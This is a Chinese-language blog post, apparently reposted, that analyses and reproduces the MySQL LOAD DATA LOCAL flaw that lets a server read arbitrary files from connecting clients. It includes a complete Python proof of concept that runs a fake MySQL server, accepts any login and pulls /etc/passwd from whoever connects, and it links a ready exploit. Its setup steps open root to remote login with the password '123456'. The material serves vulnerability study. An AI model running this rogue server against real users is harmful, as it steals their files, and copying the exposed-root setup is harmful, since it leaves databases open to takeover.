Mysql LOAD DATA读取客户端任意文件漏洞复现(原理分析)

环境搭建

怎么设置Mysql支持外联?

use mysql; 
grant all privileges on *.* to 
root@'%' identified by '密码';   //授权语句
flush privileges;    //刷新配置

MAC上设置Mysql环境允许外联
 

use mysql;
ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '123456';  //这一步是因为有的Mysql客户端是没有mysql_native_password这个模块的防止连接不上
update user set host = "%" where user = "root";
flush privileges;

这个只是暂时作为备忘,权当一个知识点,哈哈
 

漏洞复现

  • LOAD DATA INFILE
load data infile "/etc/passwd" into table TestTable fields terminated by '分隔符';
load data local infile "/etc/passwd" into table TestTable fields terminated by '分隔符';

 
第一种是读取服务器上的文件内容存入表中,第二个是读取客户端中的文件内容存入表中(显然我们应该利用的是第二种)
 

  • 漏洞分析
使用tcpdump将3306的包内容保存成为cap格式用wireshark打开分析登录过程
tcpdump  -i lo1  port 3306 -w test.cap. // 这里面要监听本地网卡,一定是本地的,不然抓取的tcp包是空的
mysql -u root -p

服务端向客户端发送greeting包和服务器的一些banner信息

 
以及一些设置
 

显然LOAD DATA LOCAL被设置了
 

客户端发送登录请求,包含用户名与LOAD DATA LOCAL有关信息

 
接着发送了一系列的查询请求
 

 
接着客户端发送一个查询包后,我们返回的是一个Response TABULAR包

内容是要读取文件的绝对路径
 

之后再下一个客户端的包中,我们真的可以得到内容

思路整理

由分析可知,客户端在连接Mysql服务端的时候,若是在发送查询包后(Mysql连接都时候就会有初始化查询,换句话说只要连接到我们,我们就可以发送Paylaod),我们返回客户端文件的绝对路径,客户端就会把文件内容发送过来(只要我们发送的包是标准的Mysql协议,这些在Mysql的官方文件都是有的).
 

我本地MAC的Mysql就不行(版本是8.0.17,因为不会发送查询语句)

用了windows的Phpstudy试了一下,还是可以的

POC分析(伪造Mysql服务端)

#!/usr/bin/python
#coding: utf8
import socket

# linux :
#filestring = "/etc/passwd"
# windows:
#filestring = "C:\Windows\system32\drivers\etc\hosts"
HOST = "0.0.0.0" # open for eeeeveryone! ^_^
PORT = 3306
BUFFER_SIZE = 1024

#1 Greeting
greeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
#2 Accept all authentications
authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"

#3 Payload
#数据包长度
payloadlen = "\x0c"
padding = "\x00\x00"
payload = payloadlen + padding +  "\x01\xfb\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)

while True:
    conn, addr = s.accept()

    print 'Connection from:', addr
    conn.send(greeting)
    while True:
        data = conn.recv(BUFFER_SIZE)
        print " ".join("%02x" % ord(i) for i in data)
        conn.send(authok)
        data = conn.recv(BUFFER_SIZE)
        conn.send(payload)
        print "[*] Payload send!"
        data = conn.recv(BUFFER_SIZE)
        if not data: break
        print "Data received:", data
        break
    # Don't leave the connection open.
    conn.close()

 
 

  • 第一步
客户端发送请求数据包
服务端发送Mysql的Greet与banner信息

看一看关于脚本是怎么构造的

greeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"

可以看见服务器这边是直接写死的东西(伪造的是Ubuntu主机).
 
另外这个greeting的包是有一定格式的,这里面直接粘贴的是大佬们的格式
 

  • 第二步
客户端发送认证请求(用户名与密码)
这里面我们当然要保证无论输入什么密码都是可以的

 
这个是脚本中的认证成功后发送的包

authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
  • 之后就等待用户发送query包,我们返回请求客户端文件的paylaod语句

值得一提这个包是有一定格式的
 
我们在wireshark中可以看到
 

至于为什么是12个字节(/etc/passwd是11个字节),猜测是后面有\x00的存在
 

  • 第四步获取到信息

没啥好说的直接输出就行了

利用的exp

 
 
https://github.com/Gifts/Rogue-MySql-Server
 
原本是想自己写的,但是emmmm,不说了,写了好久还没有写出来

猜你喜欢

转载自www.cnblogs.com/Mikasa-Ackerman/p/Mysql-LOAD-DATA-du-qu-ke-hu-duan-ren-yi-wen-jian-l.html